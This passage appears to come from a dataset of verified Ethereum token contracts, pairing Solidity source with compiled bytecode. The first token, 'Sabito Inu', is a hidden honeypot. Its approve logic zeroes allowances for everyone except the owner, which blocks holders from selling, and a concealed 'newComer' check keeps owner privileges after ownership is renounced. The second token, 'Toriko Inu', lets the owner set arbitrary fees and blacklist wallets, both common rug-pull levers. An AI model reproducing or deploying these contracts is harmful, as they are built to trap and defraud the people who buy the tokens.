address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract SabitoInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**9* 10**18;
string private _name = 'Sabito Inu ' ;
string private _symbol = 'Sabito ';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220ebe58c341d05060fcbed070adea8469cb50f1176770ae5020780acb953fe4b2864736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 4,316 |
0x7413204C35470De23FFdB86AD7a0814B799Fa6E2
|
/**
*Submitted for verification at Etherscan.io on 2022-03-05
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract TorikoInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Toriko Inu";
string private constant _symbol = "TORIKOINU";
uint8 private constant _decimals = 9;
mapping (address => uint256) _balances;
mapping(address => uint256) _lastTX;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 _totalSupply = 100000000000000 * 10**9;
//Buy Fee
uint256 private _taxFeeOnBuy = 12;
//Sell Fee
uint256 private _taxFeeOnSell = 12;
//Original Fee
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
address payable private _marketingAddress = payable(0x62F669C6850129F8DD79E2095E84F8C263Be72D5);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
bool private transferDelay = true;
uint256 public _maxTxAmount = 1000000000000 * 10**9;
uint256 public _maxWalletSize = 5000000000000 * 10**9;
uint256 public _swapTokensAtAmount = 100000000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_balances[_msgSender()] = _totalSupply;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[_marketingAddress] = true; //multisig
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (!_isExcludedFromFee[to] && !_isExcludedFromFee[from]) {
require(tradingOpen, "TOKEN: Trading not yet started");
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
if(from == uniswapV2Pair && transferDelay){
require(_lastTX[tx.origin] + 3 minutes < block.timestamp && _lastTX[to] + 3 minutes < block.timestamp, "TOKEN: 3 minutes cooldown between buys");
}
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _swapTokensAtAmount)
{
contractTokenBalance = _swapTokensAtAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance); // Reserve of 15% of tokens for liquidity
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0 ether) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_taxFee = _taxFeeOnSell;
}
}
_lastTX[tx.origin] = block.timestamp;
_lastTX[to] = block.timestamp;
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
uint256 ethAmt = tokenAmount.mul(85).div(100);
uint256 liqAmt = tokenAmount - ethAmt;
uint256 balanceBefore = address(this).balance;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
ethAmt,
0,
path,
address(this),
block.timestamp
);
uint256 amountETH = address(this).balance.sub(balanceBefore);
addLiquidity(liqAmt, amountETH.mul(15).div(100));
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
address(0),
block.timestamp
);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external onlyOwner {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) {_transferNoTax(sender,recipient, amount);}
else {_transferStandard(sender, recipient, amount);}
}
function airdrop(address[] calldata recipients, uint256[] calldata amount) public onlyOwner{
for (uint256 i = 0; i < recipients.length; i++) {
_transferNoTax(msg.sender,recipients[i], amount[i]);
}
}
function _transferStandard(
address sender,
address recipient,
uint256 amount
) private {
uint256 amountReceived = takeFees(sender, amount);
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
}
function _transferNoTax(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function takeFees(address sender,uint256 amount) internal returns (uint256) {
uint256 feeAmount = amount.mul(_taxFee).div(100);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
receive() external payable {}
function transferOwnership(address newOwner) public override onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_isExcludedFromFee[owner()] = false;
_transferOwnership(newOwner);
_isExcludedFromFee[owner()] = true;
}
function setFees(uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function setIsFeeExempt(address holder, bool exempt) public onlyOwner {
_isExcludedFromFee[holder] = exempt;
}
function toggleTransferDelay() public onlyOwner {
transferDelay = !transferDelay;
}
}
|
0x6080604052600436106101d05760003560e01c8063715018a6116100f757806395d89b4111610095578063c3c8cd8011610064578063c3c8cd801461065a578063dd62ed3e14610671578063ea1644d5146106ae578063f2fde38b146106d7576101d7565b806395d89b411461058c57806398a5c315146105b7578063a9059cbb146105e0578063bfd792841461061d576101d7565b80638da5cb5b116100d15780638da5cb5b146104f65780638eb59a5f146105215780638f70ccf7146105385780638f9a55c014610561576101d7565b8063715018a61461048b57806374010ece146104a25780637d1db4a5146104cb576101d7565b80632fd689e31161016f578063672434821161013e57806367243482146103d35780636b999053146103fc5780636d8aa8f81461042557806370a082311461044e576101d7565b80632fd689e314610329578063313ce5671461035457806349bd5a5e1461037f578063658d4b7f146103aa576101d7565b80630b78f9c0116101ab5780630b78f9c01461026d5780631694505e1461029657806318160ddd146102c157806323b872dd146102ec576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe919061301c565b610700565b005b34801561021157600080fd5b5061021a610811565b6040516102279190613506565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612f5b565b61084e565b60405161026491906134d0565b60405180910390f35b34801561027957600080fd5b50610294600480360381019061028f91906130bf565b61086c565b005b3480156102a257600080fd5b506102ab6108fa565b6040516102b891906134eb565b60405180910390f35b3480156102cd57600080fd5b506102d6610920565b6040516102e391906136e8565b60405180910390f35b3480156102f857600080fd5b50610313600480360381019061030e9190612ec8565b61092a565b60405161032091906134d0565b60405180910390f35b34801561033557600080fd5b5061033e610a03565b60405161034b91906136e8565b60405180910390f35b34801561036057600080fd5b50610369610a09565b604051610376919061375d565b60405180910390f35b34801561038b57600080fd5b50610394610a12565b6040516103a19190613454565b60405180910390f35b3480156103b657600080fd5b506103d160048036038101906103cc9190612f1b565b610a38565b005b3480156103df57600080fd5b506103fa60048036038101906103f59190612f9b565b610b0f565b005b34801561040857600080fd5b50610423600480360381019061041e9190612e2e565b610bff565b005b34801561043157600080fd5b5061044c60048036038101906104479190613065565b610cd6565b005b34801561045a57600080fd5b5061047560048036038101906104709190612e2e565b610d6f565b60405161048291906136e8565b60405180910390f35b34801561049757600080fd5b506104a0610db8565b005b3480156104ae57600080fd5b506104c960048036038101906104c49190613092565b610e40565b005b3480156104d757600080fd5b506104e0610ec6565b6040516104ed91906136e8565b60405180910390f35b34801561050257600080fd5b5061050b610ecc565b6040516105189190613454565b60405180910390f35b34801561052d57600080fd5b50610536610ef5565b005b34801561054457600080fd5b5061055f600480360381019061055a9190613065565b610f9d565b005b34801561056d57600080fd5b50610576611036565b60405161058391906136e8565b60405180910390f35b34801561059857600080fd5b506105a161103c565b6040516105ae9190613506565b60405180910390f35b3480156105c357600080fd5b506105de60048036038101906105d99190613092565b611079565b005b3480156105ec57600080fd5b5061060760048036038101906106029190612f5b565b6110ff565b60405161061491906134d0565b60405180910390f35b34801561062957600080fd5b50610644600480360381019061063f9190612e2e565b61111d565b60405161065191906134d0565b60405180910390f35b34801561066657600080fd5b5061066f61113d565b005b34801561067d57600080fd5b5061069860048036038101906106939190612e88565b6111d2565b6040516106a591906136e8565b60405180910390f35b3480156106ba57600080fd5b506106d560048036038101906106d09190613092565b611259565b005b3480156106e357600080fd5b506106fe60048036038101906106f99190612e2e565b6112df565b005b610708611495565b73ffffffffffffffffffffffffffffffffffffffff16610726610ecc565b73ffffffffffffffffffffffffffffffffffffffff161461077c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077390613648565b60405180910390fd5b60005b815181101561080d576001600a60008484815181106107a1576107a0613adb565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061080590613a34565b91505061077f565b5050565b60606040518060400160405280600a81526020017f546f72696b6f20496e7500000000000000000000000000000000000000000000815250905090565b600061086261085b611495565b848461149d565b6001905092915050565b610874611495565b73ffffffffffffffffffffffffffffffffffffffff16610892610ecc565b73ffffffffffffffffffffffffffffffffffffffff16146108e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108df90613648565b60405180910390fd5b81600681905550806007819055505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600554905090565b6000610937848484611668565b6109f884610943611495565b6109f385604051806060016040528060288152602001613f6360289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109a9611495565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b61149d565b600190509392505050565b60105481565b60006009905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610a40611495565b73ffffffffffffffffffffffffffffffffffffffff16610a5e610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610ab4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aab90613648565b60405180910390fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610b17611495565b73ffffffffffffffffffffffffffffffffffffffff16610b35610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610b8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8290613648565b60405180910390fd5b60005b84849050811015610bf857610be433868684818110610bb057610baf613adb565b5b9050602002016020810190610bc59190612e2e565b858585818110610bd857610bd7613adb565b5b90506020020135612062565b508080610bf090613a34565b915050610b8e565b5050505050565b610c07611495565b73ffffffffffffffffffffffffffffffffffffffff16610c25610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7290613648565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610cde611495565b73ffffffffffffffffffffffffffffffffffffffff16610cfc610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610d52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4990613648565b60405180910390fd5b80600d60166101000a81548160ff02191690831515021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610dc0611495565b73ffffffffffffffffffffffffffffffffffffffff16610dde610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610e34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2b90613648565b60405180910390fd5b610e3e6000612235565b565b610e48611495565b73ffffffffffffffffffffffffffffffffffffffff16610e66610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610ebc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb390613648565b60405180910390fd5b80600e8190555050565b600e5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610efd611495565b73ffffffffffffffffffffffffffffffffffffffff16610f1b610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610f71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6890613648565b60405180910390fd5b600d60179054906101000a900460ff1615600d60176101000a81548160ff021916908315150217905550565b610fa5611495565b73ffffffffffffffffffffffffffffffffffffffff16610fc3610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614611019576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101090613648565b60405180910390fd5b80600d60146101000a81548160ff02191690831515021790555050565b600f5481565b60606040518060400160405280600981526020017f544f52494b4f494e550000000000000000000000000000000000000000000000815250905090565b611081611495565b73ffffffffffffffffffffffffffffffffffffffff1661109f610ecc565b73ffffffffffffffffffffffffffffffffffffffff16146110f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ec90613648565b60405180910390fd5b8060108190555050565b600061111361110c611495565b8484611668565b6001905092915050565b600a6020528060005260406000206000915054906101000a900460ff1681565b611145611495565b73ffffffffffffffffffffffffffffffffffffffff16611163610ecc565b73ffffffffffffffffffffffffffffffffffffffff16146111b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b090613648565b60405180910390fd5b60006111c430610d6f565b90506111cf816122f9565b50565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611261611495565b73ffffffffffffffffffffffffffffffffffffffff1661127f610ecc565b73ffffffffffffffffffffffffffffffffffffffff16146112d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cc90613648565b60405180910390fd5b80600f8190555050565b6112e7611495565b73ffffffffffffffffffffffffffffffffffffffff16611305610ecc565b73ffffffffffffffffffffffffffffffffffffffff161461135b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135290613648565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c290613568565b60405180910390fd5b6000600460006113d9610ecc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000